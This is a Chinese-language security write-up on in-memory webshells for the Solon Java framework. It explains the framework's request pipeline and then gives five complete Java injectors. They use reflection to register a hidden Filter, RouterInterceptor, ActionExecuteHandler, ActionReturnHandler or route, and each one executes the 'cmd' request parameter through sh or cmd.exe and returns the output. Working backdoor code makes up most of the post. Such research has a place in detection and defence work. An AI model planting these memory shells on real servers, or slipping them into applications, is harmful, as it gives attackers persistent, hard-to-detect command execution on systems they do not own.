简介
Solon是一个高性能的Java应用开发框架,它具有轻量级、易于使用、高性能和可扩展等特点。
Solon框架适用于Web、定时任务、远程调用、微服务等多种开发场景,它的设计理念是简单、轻量、易于扩展,并且对开发者友好。Solon的核心模块提供了基础的IOC容器和AOP功能,同时提供了Web模块、数据库模块和其他常用功能模块,以支持更多样化的功能需求。
Solon架构图如下所示。

Solon框架的请求处理过程涉及几个关键的组件:过滤器(Filter)、路由拦截器(RouterInterceptor)、处理器(Handler)等。以下是Solon处理一个HTTP请求的大致流程:
- 启动Solon应用:通过Solon.start(source, args, builder)启动Solon应用,这会实例化Solon.global()并加载配置,扫描插件并排序,运行初始化函数,推送事件,运行插件,导入Java Bean,扫描并加载Java Bean等步骤。
- 请求到达:当一个HTTP请求到达Solon应用时,首先会经过过滤器(Filter)。过滤器是全局的,对所有请求都起作用。开发者可以自定义过滤器来实现诸如日志记录、权限检查等功能。
- 路由拦截:经过过滤器后,请求会进入路由拦截器(RouterInterceptor)。在这里可以进行路由相关的处理,例如请求的重定向、路由的匹配等。
- 处理器处理:路由拦截器之后,请求会交给相应的处理器(Handler)进行处理。在Solon中,处理器可以是注解了@Controller的控制器中的方法,也可以是手动通过app.get、app.post等方法注册的处理器。
- 执行控制器方法:如果请求被映射到一个控制器方法,Solon会处理方法上的注解,如@Mapping,并注入参数,然后执行控制器方法。
- 返回响应:处理器处理完请求后,会返回一个响应给客户端。这个响应可能是一个字符串、一个模型对象、一个ModelAndView对象等。
- 视图渲染:如果处理器返回的是ModelAndView对象,Solon会使用配置的视图引擎(如Freemarker、Thymeleaf等)进行视图渲染,并将最终的HTML发送给客户端。
- 异常处理:如果在请求处理过程中发生异常,Solon还提供了异常处理器来统一处理这些异常。
- 插件扩展:Solon的插件体系允许开发者在不同的阶段插入自定义的处理逻辑,例如在请求处理前后、Bean加载、插件加载等阶段。
Solon请求处理过程示意图如下所示,Web处理会经过四个路段:过滤器(Filter) -> 路由拦截器(RouterInterceptor) -> 处理器(Handler) -> 拦截器(Interceptor)。

环境搭建
利用官网给出的项目模板搭建即可,https://solon.noear.org/article/learn-quickstart。

内存马
Filter
编写一个Filter过滤器,在hello路由处下断点进行调试。
1 2 3 4 5 6 7 8 9
| @Component(index = 0) public class DemoFilter implements Filter {
@Override public void doFilter(Context ctx, FilterChain chain) throws Throwable { System.out.println(ctx.path()); chain.doFilter(ctx); } }
|
可以看到,最先调用doFilter方法的位置在org.noear.solon.core.ChainManager#doFilter,此处的作用是构造filterchain,在filterNodes中存储着需要执行的Filter。

继续往上跟进堆栈,在org.noear.solon.SolonApp#tryHandle中调用了org.noear.solon.core.ChainManager#doFilter,同时该类继承了org.noear.solon.core.route.RouterWrapper。

跟进org.noear.solon.core.route.RouterWrapper,在初始化路由的时候,会对ChainManager进行初始化,通过调用addFilter方法来添加Filter,因此可以通过获取上下文中的_chainManager字段,来添加恶意的Filter。

借助c0ny1师傅的Java内存对象搜索辅助工具java-object-searcher来搜索获取到_chainManager字段的链。
1 2 3 4 5 6 7 8 9 10 11 12
| List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("_chainManager").build());
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
searcher.setIs_debug(true);
searcher.setMax_search_depth(20);
searcher.setReport_save_path("/Users/alphag0/Desktop"); searcher.searchObject();
|
搜索结果中一条符合的构造链如下所示。
1 2 3 4 5 6 7 8 9 10 11
| TargetObject = {java.lang.Thread} ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} ---> [10] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} ---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext} ---> _request = {org.smartboot.http.server.impl.HttpRequestImpl} ---> request = {org.smartboot.http.server.impl.Request} ---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler} ---> handler = {org.noear.solon.boot.smarthttp.XPluginImp$$Lambda$91/1550228904} ---> arg$1 = {org.noear.solon.SolonApp} ---> _chainManager = {org.noear.solon.core.ChainManager}
|
对于获取请求上下文,可以参考官方文档中的认识请求上下文,利用Context ctx = Context.current();来直接获取当前上下文。
Filter内存马实现代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import org.noear.solon.annotation.Controller; import org.noear.solon.annotation.Mapping; import org.noear.solon.annotation.Param; import org.noear.solon.core.ChainManager; import org.noear.solon.core.handle.Context; import org.noear.solon.core.handle.Filter;
import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@Controller public class FilterMemoryShellController { @Mapping("/inject-filter") public String hello(@Param(defaultValue = "world") String name) throws Exception { Filter evilFilter = (ctx, chain) -> { try { if (ctx.param("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; ctx.output(output); } } catch (Exception e) { e.printStackTrace(); } chain.doFilter(ctx); };
Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addFilter(evilFilter,0);
return "Inject Filter Memory Shell Successfully!"; }
public Object getfieldobj(Object obj, String Filename) throws Exception { try{ Field field = obj.getClass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } catch (Exception e) { Field field = obj.getClass().getSuperclass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } } }
|

RouterInterceptor
RouterInterceptor内存马与Filter内存马基本类似,在上文分析org.noear.solon.core.route.RouterWrapper类时,可以看到还有添加路由拦截器的方法,通过addInterceptor方法来添加Interceptor。

Interceptor内存马实现代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| import org.noear.solon.annotation.Controller; import org.noear.solon.annotation.Mapping; import org.noear.solon.annotation.Param; import org.noear.solon.core.ChainManager; import org.noear.solon.core.handle.Context; import org.noear.solon.core.handle.Handler; import org.noear.solon.core.route.PathRule; import org.noear.solon.core.route.RouterInterceptor; import org.noear.solon.core.route.RouterInterceptorChain;
import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@Controller public class InterceptorMemoryShellController { @Mapping("/inject-interceptor") public String hello(@Param(defaultValue = "world") String name) throws Exception { Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addInterceptor(new EvilRouterInterceptor(),0);
return "Inject Interceptor Memory Shell Successfully!"; }
public Object getfieldobj(Object obj, String Filename) throws Exception { try{ Field field = obj.getClass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } catch (Exception e) { Field field = obj.getClass().getSuperclass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } }
class EvilRouterInterceptor implements RouterInterceptor { @Override public PathRule pathPatterns() { return new PathRule().include("/hello"); }
@Override public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable { try { if (ctx.param("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; ctx.output(output); } } catch (Exception e) { e.printStackTrace(); } chain.doIntercept(ctx, mainHandler); } } }
|

ActionExecuteHandler
在org.noear.solon.core.ChainManager类中,可以看到不仅有addFilter方法和addInterceptor方法,还有addExecuteHandler方法,因此可以采用通过添加恶意Action执行器的方式来打入内存马。

ActionExecuteHandler内存马实现代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import org.noear.solon.annotation.Controller; import org.noear.solon.annotation.Mapping; import org.noear.solon.annotation.Param; import org.noear.solon.core.ChainManager; import org.noear.solon.core.handle.ActionExecuteHandler; import org.noear.solon.core.handle.Context; import org.noear.solon.core.wrap.MethodWrap;
import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@Controller public class ActionExecuteHandlerMemoryShellController { @Mapping("/inject-execute-handler") public String hello(@Param(defaultValue = "world") String name) throws Exception { Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addExecuteHandler(new EvilExecuteHandler(),0);
return "Inject ActionExecuteHandler Memory Shell Successfully!"; }
public Object getfieldobj(Object obj, String Filename) throws Exception { try{ Field field = obj.getClass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } catch (Exception e) { Field field = obj.getClass().getSuperclass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } }
class EvilExecuteHandler implements ActionExecuteHandler {
@Override public boolean matched(Context ctx, String mime) { try { if (ctx.param("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; ctx.output(output); } } catch (Exception e) { e.printStackTrace(); } return false; }
@Override public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable { return new Object[0]; }
@Override public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable { return null; } } }
|

ActionReturnHandler
和打入ActionExecuteHandler内存马类似,在org.noear.solon.core.ChainManager类中还有addReturnHandler方法,它允许开发者对控制器方法的返回值进行自定义处理,因此也可以通过添加恶意的ActionReturnHandler来打入内存马。

ActionReturnHandler内存马实现代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| import org.noear.solon.annotation.Controller; import org.noear.solon.annotation.Mapping; import org.noear.solon.annotation.Param; import org.noear.solon.core.ChainManager; import org.noear.solon.core.handle.Action; import org.noear.solon.core.handle.ActionReturnHandler; import org.noear.solon.core.handle.Context;
import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
@Controller public class ActionReturnHandlerMemoryShellController { @Mapping("/inject-return-handler") public String hello(@Param(defaultValue = "world") String name) throws Exception { Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager"); _chainManager.addReturnHandler(new EvilReturnHandler());
return "Inject ActionReturnHandler Memory Shell Successfully!"; }
public Object getfieldobj(Object obj, String Filename) throws Exception { try{ Field field = obj.getClass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } catch (Exception e) { Field field = obj.getClass().getSuperclass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } }
class EvilReturnHandler implements ActionReturnHandler {
@Override public boolean matched(Context ctx, Class<?> returnType) { try { if (ctx.param("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; ctx.output(output); } } catch (Exception e) { e.printStackTrace(); } return false; }
@Override public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable { } } }
|

RouterHandler
在Solon请求处理过程示意图中,注意到有一个Handler为RouterHandler,RouterHandler是Solon框架中的一个类,它实现了Handler接口,充当路由处理器的角色。在Solon框架中,RouterHandler负责处理HTTP请求和响应的路由逻辑。
打断点跟进分析一下org.noear.solon.core.route.RouterHandler#handle方法,在this.router中存储着当前所有的路径信息,包括对应作用的类和方法,请求路径和请求方式。

跟进org.noear.solon.core.route.RouterDefault#add方法,如果能够动态的向table中添加一条RouterDefault,即可添加一个恶意路由,从而实现内存马。

RouterHandler内存马实现代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| import org.noear.solon.annotation.Controller; import org.noear.solon.annotation.Mapping; import org.noear.solon.annotation.Param; import org.noear.solon.core.AppContext; import org.noear.solon.core.BeanWrap; import org.noear.solon.core.handle.Context; import org.noear.solon.core.handle.Handler; import org.noear.solon.core.handle.MethodType; import org.noear.solon.core.mvc.ActionDefault; import org.noear.solon.core.route.RouterDefault;
import java.io.InputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Scanner;
@Controller public class RouterHandlerMemoryShellController { @Mapping("/inject-router-handler") public String hello(@Param(defaultValue = "world") String name) throws Exception { Context ctx = Context.current(); Object _request = getfieldobj(ctx,"_request"); Object request = getfieldobj(_request,"request"); Object serverHandler = getfieldobj(request,"serverHandler"); Object handler = getfieldobj(serverHandler,"handler"); Object arg$1 = getfieldobj(handler,"arg$1"); AppContext appContext = (AppContext) getfieldobj(arg$1,"_context"); RouterDefault _router = (RouterDefault) getfieldobj(arg$1,"_router");
BeanWrap beanWrap = new BeanWrap(appContext, EvilClass.class); Method method = EvilClass.class.getDeclaredMethod("MemoryShell"); Handler newhandler = new ActionDefault(beanWrap, method); _router.add("/evil", MethodType.ALL, newhandler);
return "Inject RouterHandler Memory Shell Successfully!"; }
public Object getfieldobj(Object obj, String Filename) throws Exception { try{ Field field = obj.getClass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } catch (Exception e) { Field field = obj.getClass().getSuperclass().getDeclaredField(Filename); field.setAccessible(true); Object fieldobj = field.get(obj); return fieldobj; } }
public static class EvilClass { public EvilClass() { }
public void MemoryShell() { Context ctx = Context.current(); try { if (ctx.param("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; ctx.output(output); } } catch (Exception e) { e.printStackTrace(); } } } }
|

参考